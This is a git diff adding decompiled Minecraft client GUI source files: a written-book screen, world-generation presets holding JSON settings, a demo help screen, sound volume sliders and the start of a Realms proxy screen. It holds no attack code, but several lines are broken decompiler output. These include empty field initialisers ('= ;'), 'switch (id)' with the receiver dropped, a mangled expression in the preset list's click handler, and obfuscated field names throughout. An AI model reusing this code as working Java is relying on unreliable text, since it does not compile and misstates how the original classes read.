+      if ((bookPages != null) && (currPage >= 0) && (currPage < bookPages.tagCount()))
+      {
+        var7 = bookPages.getStringTagAt(currPage);
+      }
+      
+      if (bookIsUnsigned)
+      {
+        if (fontRendererObj.getBidiFlag())
+        {
+          var7 = var7 + "_";
+        }
+        else if (updateCount / 6 % 2 == 0)
+        {
+          var7 = var7 + EnumChatFormatting.BLACK + "_";
+        }
+        else
+        {
+          var7 = var7 + EnumChatFormatting.GRAY + "_";
+        }
+      }
+      else if (field_175387_B != currPage)
+      {
+        if (net.minecraft.item.ItemEditableBook.validBookTagContents(bookObj.getTagCompound()))
+        {
+          try
+          {
+            IChatComponent var14 = IChatComponent.Serializer.jsonToComponent(var7);
+            field_175386_A = (var14 != null ? GuiUtilRenderComponents.func_178908_a(var14, 116, fontRendererObj, true, true) : null);
+          }
+          catch (JsonParseException var13)
+          {
+            field_175386_A = null;
+          }
+        }
+        else
+        {
+          ChatComponentText var15 = new ChatComponentText(EnumChatFormatting.DARK_RED.toString() + "* Invalid book tag *");
+          field_175386_A = com.google.common.collect.Lists.newArrayList(var15);
+        }
+        
+        field_175387_B = currPage;
+      }
+      
+      int var8 = fontRendererObj.getStringWidth(var6);
+      fontRendererObj.drawString(var6, var4 - var8 + bookImageWidth - 44, var5 + 16, 0);
+      
+      if (field_175386_A == null)
+      {
+        fontRendererObj.drawSplitString(var7, var4 + 36, var5 + 16 + 16, 116, 0);
+      }
+      else
+      {
+        int var9 = Math.min(128 / fontRendererObj.FONT_HEIGHT, field_175386_A.size());
+        
+        for (int var16 = 0; var16 < var9; var16++)
+        {
+          IChatComponent var18 = (IChatComponent)field_175386_A.get(var16);
+          fontRendererObj.drawString(var18.getUnformattedText(), var4 + 36, var5 + 16 + 16 + var16 * fontRendererObj.FONT_HEIGHT, 0);
+        }
+        
+        IChatComponent var17 = func_175385_b(mouseX, mouseY);
+        
+        if (var17 != null)
+        {
+          func_175272_a(var17, mouseX, mouseY);
+        }
+      }
+    }
+    
+    super.drawScreen(mouseX, mouseY, partialTicks);
+  }
+  
+
+
+  protected void mouseClicked(int mouseX, int mouseY, int mouseButton)
+    throws IOException
+  {
+    if (mouseButton == 0)
+    {
+      IChatComponent var4 = func_175385_b(mouseX, mouseY);
+      
+      if (func_175276_a(var4))
+      {
+        return;
+      }
+    }
+    
+    super.mouseClicked(mouseX, mouseY, mouseButton);
+  }
+  
+  protected boolean func_175276_a(IChatComponent p_175276_1_)
+  {
+    ClickEvent var2 = p_175276_1_ == null ? null : p_175276_1_.getChatStyle().getChatClickEvent();
+    
+    if (var2 == null)
+    {
+      return false;
+    }
+    if (var2.getAction() == ClickEvent.Action.CHANGE_PAGE)
+    {
+      String var6 = var2.getValue();
+      
+      try
+      {
+        int var4 = Integer.parseInt(var6) - 1;
+        
+        if ((var4 >= 0) && (var4 < bookTotalPages) && (var4 != currPage))
+        {
+          currPage = var4;
+          updateButtons();
+          return true;
+        }
+      }
+      catch (Throwable localThrowable) {}
+      
+
+
+
+      return false;
+    }
+    
+
+    boolean var3 = super.func_175276_a(p_175276_1_);
+    
+    if ((var3) && (var2.getAction() == ClickEvent.Action.RUN_COMMAND))
+    {
+      mc.displayGuiScreen(null);
+    }
+    
+    return var3;
+  }
+  
+
+  public IChatComponent func_175385_b(int p_175385_1_, int p_175385_2_)
+  {
+    if (field_175386_A == null)
+    {
+      return null;
+    }
+    
+
+    int var3 = p_175385_1_ - (width - bookImageWidth) / 2 - 36;
+    int var4 = p_175385_2_ - 2 - 16 - 16;
+    
+    if ((var3 >= 0) && (var4 >= 0))
+    {
+      int var5 = Math.min(128 / fontRendererObj.FONT_HEIGHT, field_175386_A.size());
+      
+      if ((var3 <= 116) && (var4 < mc.fontRendererObj.FONT_HEIGHT * var5 + var5))
+      {
+        int var6 = var4 / mc.fontRendererObj.FONT_HEIGHT;
+        
+        if ((var6 >= 0) && (var6 < field_175386_A.size()))
+        {
+          IChatComponent var7 = (IChatComponent)field_175386_A.get(var6);
+          int var8 = 0;
+          Iterator var9 = var7.iterator();
+          
+          while (var9.hasNext())
+          {
+            IChatComponent var10 = (IChatComponent)var9.next();
+            
+            if ((var10 instanceof ChatComponentText))
+            {
+              var8 += mc.fontRendererObj.getStringWidth(((ChatComponentText)var10).getChatComponentText_TextValue());
+              
+              if (var8 > var3)
+              {
+                return var10;
+              }
+            }
+          }
+        }
+        
+        return null;
+      }
+      
+
+      return null;
+    }
+    
+
+
+    return null;
+  }
+  
+
+  static class NextPageButton
+    extends GuiButton
+  {
+    private final boolean field_146151_o;
+    private static final String __OBFID = "CL_00000745";
+    
+    public NextPageButton(int p_i46316_1_, int p_i46316_2_, int p_i46316_3_, boolean p_i46316_4_)
+    {
+      super(p_i46316_2_, p_i46316_3_, 23, 13, "");
+      field_146151_o = p_i46316_4_;
+    }
+    
+    public void drawButton(Minecraft mc, int mouseX, int mouseY)
+    {
+      if (visible)
+      {
+        boolean var4 = (mouseX >= xPosition) && (mouseY >= yPosition) && (mouseX < xPosition + width) && (mouseY < yPosition + height);
+        GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+        mc.getTextureManager().bindTexture(GuiScreenBook.bookGuiTextures);
+        int var5 = 0;
+        int var6 = 192;
+        
+        if (var4)
+        {
+          var5 += 23;
+        }
+        
+        if (!field_146151_o)
+        {
+          var6 += 13;
+        }
+        
+        drawTexturedModalRect(xPosition, yPosition, var5, var6, 23, 13);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiScreenCustomizePresets.java b/src/minecraft/net/minecraft/client/gui/GuiScreenCustomizePresets.java
new file mode 100644
index 0000000..6e6bf1e
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiScreenCustomizePresets.java
@@ -0,0 +1,232 @@
+package net.minecraft.client.gui;
+
+import com.google.common.collect.Lists;
+import java.io.IOException;
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.world.gen.ChunkProviderSettings.Factory;
+import org.lwjgl.input.Keyboard;
+
+public class GuiScreenCustomizePresets extends GuiScreen
+{
+  private static final List field_175310_f = ;
+  private ListPreset field_175311_g;
+  private GuiButton field_175316_h;
+  private GuiTextField field_175317_i;
+  private GuiCustomizeWorldScreen field_175314_r;
+  protected String field_175315_a = "Customize World Presets";
+  private String field_175313_s;
+  private String field_175312_t;
+  private static final String __OBFID = "CL_00001937";
+  
+  public GuiScreenCustomizePresets(GuiCustomizeWorldScreen p_i45524_1_)
+  {
+    field_175314_r = p_i45524_1_;
+  }
+  
+
+
+
+  public void initGui()
+  {
+    buttonList.clear();
+    Keyboard.enableRepeatEvents(true);
+    field_175315_a = I18n.format("createWorld.customize.custom.presets.title", new Object[0]);
+    field_175313_s = I18n.format("createWorld.customize.presets.share", new Object[0]);
+    field_175312_t = I18n.format("createWorld.customize.presets.list", new Object[0]);
+    field_175317_i = new GuiTextField(2, fontRendererObj, 50, 40, width - 100, 20);
+    field_175311_g = new ListPreset();
+    field_175317_i.setMaxStringLength(2000);
+    field_175317_i.setText(field_175314_r.func_175323_a());
+    buttonList.add(this.field_175316_h = new GuiButton(0, width / 2 - 102, height - 27, 100, 20, I18n.format("createWorld.customize.presets.select", new Object[0])));
+    buttonList.add(new GuiButton(1, width / 2 + 3, height - 27, 100, 20, I18n.format("gui.cancel", new Object[0])));
+    func_175304_a();
+  }
+  
+
+
+  public void handleMouseInput()
+    throws IOException
+  {
+    super.handleMouseInput();
+    field_175311_g.func_178039_p();
+  }
+  
+
+
+
+  public void onGuiClosed()
+  {
+    Keyboard.enableRepeatEvents(false);
+  }
+  
+
+
+  protected void mouseClicked(int mouseX, int mouseY, int mouseButton)
+    throws IOException
+  {
+    field_175317_i.mouseClicked(mouseX, mouseY, mouseButton);
+    super.mouseClicked(mouseX, mouseY, mouseButton);
+  }
+  
+
+
+
+  protected void keyTyped(char typedChar, int keyCode)
+    throws IOException
+  {
+    if (!field_175317_i.textboxKeyTyped(typedChar, keyCode))
+    {
+      super.keyTyped(typedChar, keyCode);
+    }
+  }
+  
+  protected void actionPerformed(GuiButton button) throws IOException
+  {
+    switch (id)
+    {
+    case 0: 
+      field_175314_r.func_175324_a(field_175317_i.getText());
+      mc.displayGuiScreen(field_175314_r);
+      break;
+    
+    case 1: 
+      mc.displayGuiScreen(field_175314_r);
+    }
+    
+  }
+  
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    drawDefaultBackground();
+    field_175311_g.drawScreen(mouseX, mouseY, partialTicks);
+    drawCenteredString(fontRendererObj, field_175315_a, width / 2, 8, 16777215);
+    drawString(fontRendererObj, field_175313_s, 50, 30, 10526880);
+    drawString(fontRendererObj, field_175312_t, 50, 70, 10526880);
+    field_175317_i.drawTextBox();
+    super.drawScreen(mouseX, mouseY, partialTicks);
+  }
+  
+
+
+
+  public void updateScreen()
+  {
+    field_175317_i.updateCursorCounter();
+    super.updateScreen();
+  }
+  
+  public void func_175304_a()
+  {
+    field_175316_h.enabled = func_175305_g();
+  }
+  
+  private boolean func_175305_g()
+  {
+    return ((field_175311_g.field_178053_u > -1) && (field_175311_g.field_178053_u < field_175310_f.size())) || (field_175317_i.getText().length() > 1);
+  }
+  
+  static
+  {
+    ChunkProviderSettings.Factory var0 = ChunkProviderSettings.Factory.func_177865_a("{ \"coordinateScale\":684.412, \"heightScale\":684.412, \"upperLimitScale\":512.0, \"lowerLimitScale\":512.0, \"depthNoiseScaleX\":200.0, \"depthNoiseScaleZ\":200.0, \"depthNoiseScaleExponent\":0.5, \"mainNoiseScaleX\":5000.0, \"mainNoiseScaleY\":1000.0, \"mainNoiseScaleZ\":5000.0, \"baseSize\":8.5, \"stretchY\":8.0, \"biomeDepthWeight\":2.0, \"biomeDepthOffset\":0.5, \"biomeScaleWeight\":2.0, \"biomeScaleOffset\":0.375, \"useCaves\":true, \"useDungeons\":true, \"dungeonChance\":8, \"useStrongholds\":true, \"useVillages\":true, \"useMineShafts\":true, \"useTemples\":true, \"useRavines\":true, \"useWaterLakes\":true, \"waterLakeChance\":4, \"useLavaLakes\":true, \"lavaLakeChance\":80, \"useLavaOceans\":false, \"seaLevel\":255 }");
+    ResourceLocation var1 = new ResourceLocation("textures/gui/presets/water.png");
+    field_175310_f.add(new Info(I18n.format("createWorld.customize.custom.preset.waterWorld", new Object[0]), var1, var0));
+    var0 = ChunkProviderSettings.Factory.func_177865_a("{\"coordinateScale\":3000.0, \"heightScale\":6000.0, \"upperLimitScale\":250.0, \"lowerLimitScale\":512.0, \"depthNoiseScaleX\":200.0, \"depthNoiseScaleZ\":200.0, \"depthNoiseScaleExponent\":0.5, \"mainNoiseScaleX\":80.0, \"mainNoiseScaleY\":160.0, \"mainNoiseScaleZ\":80.0, \"baseSize\":8.5, \"stretchY\":10.0, \"biomeDepthWeight\":1.0, \"biomeDepthOffset\":0.0, \"biomeScaleWeight\":1.0, \"biomeScaleOffset\":0.0, \"useCaves\":true, \"useDungeons\":true, \"dungeonChance\":8, \"useStrongholds\":true, \"useVillages\":true, \"useMineShafts\":true, \"useTemples\":true, \"useRavines\":true, \"useWaterLakes\":true, \"waterLakeChance\":4, \"useLavaLakes\":true, \"lavaLakeChance\":80, \"useLavaOceans\":false, \"seaLevel\":63 }");
+    var1 = new ResourceLocation("textures/gui/presets/isles.png");
+    field_175310_f.add(new Info(I18n.format("createWorld.customize.custom.preset.isleLand", new Object[0]), var1, var0));
+    var0 = ChunkProviderSettings.Factory.func_177865_a("{\"coordinateScale\":684.412, \"heightScale\":684.412, \"upperLimitScale\":512.0, \"lowerLimitScale\":512.0, \"depthNoiseScaleX\":200.0, \"depthNoiseScaleZ\":200.0, \"depthNoiseScaleExponent\":0.5, \"mainNoiseScaleX\":5000.0, \"mainNoiseScaleY\":1000.0, \"mainNoiseScaleZ\":5000.0, \"baseSize\":8.5, \"stretchY\":5.0, \"biomeDepthWeight\":2.0, \"biomeDepthOffset\":1.0, \"biomeScaleWeight\":4.0, \"biomeScaleOffset\":1.0, \"useCaves\":true, \"useDungeons\":true, \"dungeonChance\":8, \"useStrongholds\":true, \"useVillages\":true, \"useMineShafts\":true, \"useTemples\":true, \"useRavines\":true, \"useWaterLakes\":true, \"waterLakeChance\":4, \"useLavaLakes\":true, \"lavaLakeChance\":80, \"useLavaOceans\":false, \"seaLevel\":63 }");
+    var1 = new ResourceLocation("textures/gui/presets/delight.png");
+    field_175310_f.add(new Info(I18n.format("createWorld.customize.custom.preset.caveDelight", new Object[0]), var1, var0));
+    var0 = ChunkProviderSettings.Factory.func_177865_a("{\"coordinateScale\":738.41864, \"heightScale\":157.69133, \"upperLimitScale\":801.4267, \"lowerLimitScale\":1254.1643, \"depthNoiseScaleX\":374.93652, \"depthNoiseScaleZ\":288.65228, \"depthNoiseScaleExponent\":1.2092624, \"mainNoiseScaleX\":1355.9908, \"mainNoiseScaleY\":745.5343, \"mainNoiseScaleZ\":1183.464, \"baseSize\":1.8758626, \"stretchY\":1.7137525, \"biomeDepthWeight\":1.7553768, \"biomeDepthOffset\":3.4701107, \"biomeScaleWeight\":1.0, \"biomeScaleOffset\":2.535211, \"useCaves\":true, \"useDungeons\":true, \"dungeonChance\":8, \"useStrongholds\":true, \"useVillages\":true, \"useMineShafts\":true, \"useTemples\":true, \"useRavines\":true, \"useWaterLakes\":true, \"waterLakeChance\":4, \"useLavaLakes\":true, \"lavaLakeChance\":80, \"useLavaOceans\":false, \"seaLevel\":63 }");
+    var1 = new ResourceLocation("textures/gui/presets/madness.png");
+    field_175310_f.add(new Info(I18n.format("createWorld.customize.custom.preset.mountains", new Object[0]), var1, var0));
+    var0 = ChunkProviderSettings.Factory.func_177865_a("{\"coordinateScale\":684.412, \"heightScale\":684.412, \"upperLimitScale\":512.0, \"lowerLimitScale\":512.0, \"depthNoiseScaleX\":200.0, \"depthNoiseScaleZ\":200.0, \"depthNoiseScaleExponent\":0.5, \"mainNoiseScaleX\":1000.0, \"mainNoiseScaleY\":3000.0, \"mainNoiseScaleZ\":1000.0, \"baseSize\":8.5, \"stretchY\":10.0, \"biomeDepthWeight\":1.0, \"biomeDepthOffset\":0.0, \"biomeScaleWeight\":1.0, \"biomeScaleOffset\":0.0, \"useCaves\":true, \"useDungeons\":true, \"dungeonChance\":8, \"useStrongholds\":true, \"useVillages\":true, \"useMineShafts\":true, \"useTemples\":true, \"useRavines\":true, \"useWaterLakes\":true, \"waterLakeChance\":4, \"useLavaLakes\":true, \"lavaLakeChance\":80, \"useLavaOceans\":false, \"seaLevel\":20 }");
+    var1 = new ResourceLocation("textures/gui/presets/drought.png");
+    field_175310_f.add(new Info(I18n.format("createWorld.customize.custom.preset.drought", new Object[0]), var1, var0));
+    var0 = ChunkProviderSettings.Factory.func_177865_a("{\"coordinateScale\":684.412, \"heightScale\":684.412, \"upperLimitScale\":2.0, \"lowerLimitScale\":64.0, \"depthNoiseScaleX\":200.0, \"depthNoiseScaleZ\":200.0, \"depthNoiseScaleExponent\":0.5, \"mainNoiseScaleX\":80.0, \"mainNoiseScaleY\":160.0, \"mainNoiseScaleZ\":80.0, \"baseSize\":8.5, \"stretchY\":12.0, \"biomeDepthWeight\":1.0, \"biomeDepthOffset\":0.0, \"biomeScaleWeight\":1.0, \"biomeScaleOffset\":0.0, \"useCaves\":true, \"useDungeons\":true, \"dungeonChance\":8, \"useStrongholds\":true, \"useVillages\":true, \"useMineShafts\":true, \"useTemples\":true, \"useRavines\":true, \"useWaterLakes\":true, \"waterLakeChance\":4, \"useLavaLakes\":true, \"lavaLakeChance\":80, \"useLavaOceans\":false, \"seaLevel\":6 }");
+    var1 = new ResourceLocation("textures/gui/presets/chaos.png");
+    field_175310_f.add(new Info(I18n.format("createWorld.customize.custom.preset.caveChaos", new Object[0]), var1, var0));
+    var0 = ChunkProviderSettings.Factory.func_177865_a("{\"coordinateScale\":684.412, \"heightScale\":684.412, \"upperLimitScale\":512.0, \"lowerLimitScale\":512.0, \"depthNoiseScaleX\":200.0, \"depthNoiseScaleZ\":200.0, \"depthNoiseScaleExponent\":0.5, \"mainNoiseScaleX\":80.0, \"mainNoiseScaleY\":160.0, \"mainNoiseScaleZ\":80.0, \"baseSize\":8.5, \"stretchY\":12.0, \"biomeDepthWeight\":1.0, \"biomeDepthOffset\":0.0, \"biomeScaleWeight\":1.0, \"biomeScaleOffset\":0.0, \"useCaves\":true, \"useDungeons\":true, \"dungeonChance\":8, \"useStrongholds\":true, \"useVillages\":true, \"useMineShafts\":true, \"useTemples\":true, \"useRavines\":true, \"useWaterLakes\":true, \"waterLakeChance\":4, \"useLavaLakes\":true, \"lavaLakeChance\":80, \"useLavaOceans\":true, \"seaLevel\":40 }");
+    var1 = new ResourceLocation("textures/gui/presets/luck.png");
+    field_175310_f.add(new Info(I18n.format("createWorld.customize.custom.preset.goodLuck", new Object[0]), var1, var0));
+  }
+  
+  static class Info
+  {
+    public String field_178955_a;
+    public ResourceLocation field_178953_b;
+    public ChunkProviderSettings.Factory field_178954_c;
+    private static final String __OBFID = "CL_00001936";
+    
+    public Info(String p_i45523_1_, ResourceLocation p_i45523_2_, ChunkProviderSettings.Factory p_i45523_3_)
+    {
+      field_178955_a = p_i45523_1_;
+      field_178953_b = p_i45523_2_;
+      field_178954_c = p_i45523_3_;
+    }
+  }
+  
+  class ListPreset extends GuiSlot
+  {
+    public int field_178053_u = -1;
+    private static final String __OBFID = "CL_00001935";
+    
+    public ListPreset()
+    {
+      super(width, height, 80, height - 32, 38);
+    }
+    
+    protected int getSize()
+    {
+      return GuiScreenCustomizePresets.field_175310_f.size();
+    }
+    
+    protected void elementClicked(int slotIndex, boolean isDoubleClick, int mouseX, int mouseY)
+    {
+      field_178053_u = slotIndex;
+      func_175304_a();
+      field_175317_i.setText(field_175310_fgetfield_175311_g.field_178053_u)).field_178954_c.toString());
+    }
+    
+    protected boolean isSelected(int slotIndex)
+    {
+      return slotIndex == field_178053_u;
+    }
+    
+    protected void drawBackground() {}
+    
+    private void func_178051_a(int p_178051_1_, int p_178051_2_, ResourceLocation p_178051_3_)
+    {
+      int var4 = p_178051_1_ + 5;
+      drawHorizontalLine(var4 - 1, var4 + 32, p_178051_2_ - 1, -2039584);
+      drawHorizontalLine(var4 - 1, var4 + 32, p_178051_2_ + 32, -6250336);
+      drawVerticalLine(var4 - 1, p_178051_2_ - 1, p_178051_2_ + 32, -2039584);
+      drawVerticalLine(var4 + 32, p_178051_2_ - 1, p_178051_2_ + 32, -6250336);
+      net.minecraft.client.renderer.GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      mc.getTextureManager().bindTexture(p_178051_3_);
+      boolean var6 = true;
+      boolean var7 = true;
+      Tessellator var8 = Tessellator.getInstance();
+      WorldRenderer var9 = var8.getWorldRenderer();
+      var9.startDrawingQuads();
+      var9.addVertexWithUV(var4 + 0, p_178051_2_ + 32, 0.0D, 0.0D, 1.0D);
+      var9.addVertexWithUV(var4 + 32, p_178051_2_ + 32, 0.0D, 1.0D, 1.0D);
+      var9.addVertexWithUV(var4 + 32, p_178051_2_ + 0, 0.0D, 1.0D, 0.0D);
+      var9.addVertexWithUV(var4 + 0, p_178051_2_ + 0, 0.0D, 0.0D, 0.0D);
+      var8.draw();
+    }
+    
+    protected void drawSlot(int p_180791_1_, int p_180791_2_, int p_180791_3_, int p_180791_4_, int p_180791_5_, int p_180791_6_)
+    {
+      GuiScreenCustomizePresets.Info var7 = (GuiScreenCustomizePresets.Info)GuiScreenCustomizePresets.field_175310_f.get(p_180791_1_);
+      func_178051_a(p_180791_2_, p_180791_3_, field_178953_b);
+      fontRendererObj.drawString(field_178955_a, p_180791_2_ + 32 + 10, p_180791_3_ + 14, 16777215);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiScreenDemo.java b/src/minecraft/net/minecraft/client/gui/GuiScreenDemo.java
new file mode 100644
index 0000000..b5cfd9f
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiScreenDemo.java
@@ -0,0 +1,94 @@
+package net.minecraft.client.gui;
+
+import java.net.URI;
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.client.settings.KeyBinding;
+import net.minecraft.util.ResourceLocation;
+import org.apache.logging.log4j.Logger;
+
+public class GuiScreenDemo extends GuiScreen
+{
+  private static final Logger logger = ;
+  private static final ResourceLocation field_146348_f = new ResourceLocation("textures/gui/demo_background.png");
+  
+  private static final String __OBFID = "CL_00000691";
+  
+  public GuiScreenDemo() {}
+  
+  public void initGui()
+  {
+    buttonList.clear();
+    byte var1 = -16;
+    buttonList.add(new GuiButton(1, width / 2 - 116, height / 2 + 62 + var1, 114, 20, I18n.format("demo.help.buy", new Object[0])));
+    buttonList.add(new GuiButton(2, width / 2 + 2, height / 2 + 62 + var1, 114, 20, I18n.format("demo.help.later", new Object[0])));
+  }
+  
+  protected void actionPerformed(GuiButton button) throws java.io.IOException
+  {
+    switch (id)
+    {
+    case 1: 
+      enabled = false;
+      
+      try
+      {
+        Class var2 = Class.forName("java.awt.Desktop");
+        Object var3 = var2.getMethod("getDesktop", new Class[0]).invoke(null, new Object[0]);
+        var2.getMethod("browse", new Class[] { URI.class }).invoke(var3, new Object[] { new URI("http://www.minecraft.net/store?source=demo") });
+      }
+      catch (Throwable var4)
+      {
+        logger.error("Couldn't open link", var4);
+      }
+    
+
+
+    case 2: 
+      mc.displayGuiScreen(null);
+      mc.setIngameFocus();
+    }
+    
+  }
+  
+
+
+  public void updateScreen()
+  {
+    super.updateScreen();
+  }
+  
+
+
+
+  public void drawDefaultBackground()
+  {
+    super.drawDefaultBackground();
+    net.minecraft.client.renderer.GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    mc.getTextureManager().bindTexture(field_146348_f);
+    int var1 = (width - 248) / 2;
+    int var2 = (height - 166) / 2;
+    drawTexturedModalRect(var1, var2, 0, 0, 248, 166);
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    drawDefaultBackground();
+    int var4 = (width - 248) / 2 + 10;
+    int var5 = (height - 166) / 2 + 8;
+    fontRendererObj.drawString(I18n.format("demo.help.title", new Object[0]), var4, var5, 2039583);
+    var5 += 12;
+    GameSettings var6 = mc.gameSettings;
+    fontRendererObj.drawString(I18n.format("demo.help.movementShort", new Object[] { GameSettings.getKeyDisplayString(keyBindForward.getKeyCode()), GameSettings.getKeyDisplayString(keyBindLeft.getKeyCode()), GameSettings.getKeyDisplayString(keyBindBack.getKeyCode()), GameSettings.getKeyDisplayString(keyBindRight.getKeyCode()) }), var4, var5, 5197647);
+    fontRendererObj.drawString(I18n.format("demo.help.movementMouse", new Object[0]), var4, var5 + 12, 5197647);
+    fontRendererObj.drawString(I18n.format("demo.help.jump", new Object[] { GameSettings.getKeyDisplayString(keyBindJump.getKeyCode()) }), var4, var5 + 24, 5197647);
+    fontRendererObj.drawString(I18n.format("demo.help.inventory", new Object[] { GameSettings.getKeyDisplayString(keyBindInventory.getKeyCode()) }), var4, var5 + 36, 5197647);
+    fontRendererObj.drawSplitString(I18n.format("demo.help.fullWrapped", new Object[0]), var4, var5 + 68, 218, 2039583);
+    super.drawScreen(mouseX, mouseY, partialTicks);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiScreenOptionsSounds.java b/src/minecraft/net/minecraft/client/gui/GuiScreenOptionsSounds.java
new file mode 100644
index 0000000..7c9a2ab
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiScreenOptionsSounds.java
@@ -0,0 +1,165 @@
+package net.minecraft.client.gui;
+
+import java.io.IOException;
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.audio.PositionedSoundRecord;
+import net.minecraft.client.audio.SoundCategory;
+import net.minecraft.client.audio.SoundHandler;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.ResourceLocation;
+
+public class GuiScreenOptionsSounds
+  extends GuiScreen
+{
+  private final GuiScreen field_146505_f;
+  private final GameSettings game_settings_4;
+  protected String field_146507_a = "Options";
+  private String field_146508_h;
+  private static final String __OBFID = "CL_00000716";
+  
+  public GuiScreenOptionsSounds(GuiScreen p_i45025_1_, GameSettings p_i45025_2_)
+  {
+    field_146505_f = p_i45025_1_;
+    game_settings_4 = p_i45025_2_;
+  }
+  
+
+
+
+  public void initGui()
+  {
+    byte var1 = 0;
+    field_146507_a = I18n.format("options.sounds.title", new Object[0]);
+    field_146508_h = I18n.format("options.off", new Object[0]);
+    buttonList.add(new Button(SoundCategory.MASTER.getCategoryId(), width / 2 - 155 + var1 % 2 * 160, height / 6 - 12 + 24 * (var1 >> 1), SoundCategory.MASTER, true));
+    int var6 = var1 + 2;
+    SoundCategory[] var2 = SoundCategory.values();
+    int var3 = var2.length;
+    
+    for (int var4 = 0; var4 < var3; var4++)
+    {
+      SoundCategory var5 = var2[var4];
+      
+      if (var5 != SoundCategory.MASTER)
+      {
+        buttonList.add(new Button(var5.getCategoryId(), width / 2 - 155 + var6 % 2 * 160, height / 6 - 12 + 24 * (var6 >> 1), var5, false));
+        var6++;
+      }
+    }
+    
+    buttonList.add(new GuiButton(200, width / 2 - 100, height / 6 + 168, I18n.format("gui.done", new Object[0])));
+  }
+  
+  protected void actionPerformed(GuiButton button) throws IOException
+  {
+    if (enabled)
+    {
+      if (id == 200)
+      {
+        mc.gameSettings.saveOptions();
+        mc.displayGuiScreen(field_146505_f);
+      }
+    }
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    drawDefaultBackground();
+    drawCenteredString(fontRendererObj, field_146507_a, width / 2, 15, 16777215);
+    super.drawScreen(mouseX, mouseY, partialTicks);
+  }
+  
+  protected String getSoundVolume(SoundCategory p_146504_1_)
+  {
+    float var2 = game_settings_4.getSoundLevel(p_146504_1_);
+    return (int)(var2 * 100.0F) + "%";
+  }
+  
+  class Button extends GuiButton
+  {
+    private final SoundCategory field_146153_r;
+    private final String field_146152_s;
+    public float field_146156_o = 1.0F;
+    public boolean field_146155_p;
+    private static final String __OBFID = "CL_00000717";
+    
+    public Button(int p_i45024_2_, int p_i45024_3_, int p_i45024_4_, SoundCategory p_i45024_5_, boolean p_i45024_6_)
+    {
+      super(p_i45024_3_, p_i45024_4_, p_i45024_6_ ? 310 : 150, 20, "");
+      field_146153_r = p_i45024_5_;
+      field_146152_s = I18n.format("soundCategory." + p_i45024_5_.getCategoryName(), new Object[0]);
+      displayString = (field_146152_s + ": " + getSoundVolume(p_i45024_5_));
+      field_146156_o = game_settings_4.getSoundLevel(p_i45024_5_);
+    }
+    
+    protected int getHoverState(boolean mouseOver)
+    {
+      return 0;
+    }
+    
+    protected void mouseDragged(Minecraft mc, int mouseX, int mouseY)
+    {
+      if (visible)
+      {
+        if (field_146155_p)
+        {
+          field_146156_o = ((mouseX - (xPosition + 4)) / (width - 8));
+          field_146156_o = MathHelper.clamp_float(field_146156_o, 0.0F, 1.0F);
+          gameSettings.setSoundLevel(field_146153_r, field_146156_o);
+          gameSettings.saveOptions();
+          displayString = (field_146152_s + ": " + getSoundVolume(field_146153_r));
+        }
+        
+        GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+        drawTexturedModalRect(xPosition + (int)(field_146156_o * (width - 8)), yPosition, 0, 66, 4, 20);
+        drawTexturedModalRect(xPosition + (int)(field_146156_o * (width - 8)) + 4, yPosition, 196, 66, 4, 20);
+      }
+    }
+    
+    public boolean mousePressed(Minecraft mc, int mouseX, int mouseY)
+    {
+      if (super.mousePressed(mc, mouseX, mouseY))
+      {
+        field_146156_o = ((mouseX - (xPosition + 4)) / (width - 8));
+        field_146156_o = MathHelper.clamp_float(field_146156_o, 0.0F, 1.0F);
+        gameSettings.setSoundLevel(field_146153_r, field_146156_o);
+        gameSettings.saveOptions();
+        displayString = (field_146152_s + ": " + getSoundVolume(field_146153_r));
+        field_146155_p = true;
+        return true;
+      }
+      
+
+      return false;
+    }
+    
+
+    public void playPressSound(SoundHandler soundHandlerIn) {}
+    
+    public void mouseReleased(int mouseX, int mouseY)
+    {
+      if (field_146155_p)
+      {
+        if (field_146153_r == SoundCategory.MASTER)
+        {
+          float f = 1.0F;
+        }
+        else
+        {
+          game_settings_4.getSoundLevel(field_146153_r);
+        }
+        
+        mc.getSoundHandler().playSound(PositionedSoundRecord.createPositionedSoundRecord(new ResourceLocation("gui.button.press"), 1.0F));
+      }
+      
+      field_146155_p = false;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiScreenRealmsProxy.java b/src/minecraft/net/minecraft/client/gui/GuiScreenRealmsProxy.java
new file mode 100644
index 0000000..b5b7ebb
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiScreenRealmsProxy.java
@@ -0,0 +1,243 @@
+package net.minecraft.client.gui;
+
+import com.google.common.collect.Lists;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.item.ItemStack;
+import net.minecraft.realms.RealmsButton;
+import net.minecraft.realms.RealmsScreen;
+
+public class GuiScreenRealmsProxy extends GuiScreen
+{
+  private RealmsScreen field_154330_a;
+  private static final String __OBFID = "CL_00001847";
+  
+  public GuiScreenRealmsProxy(RealmsScreen p_i1087_1_)
+  {
+    field_154330_a = p_i1087_1_;
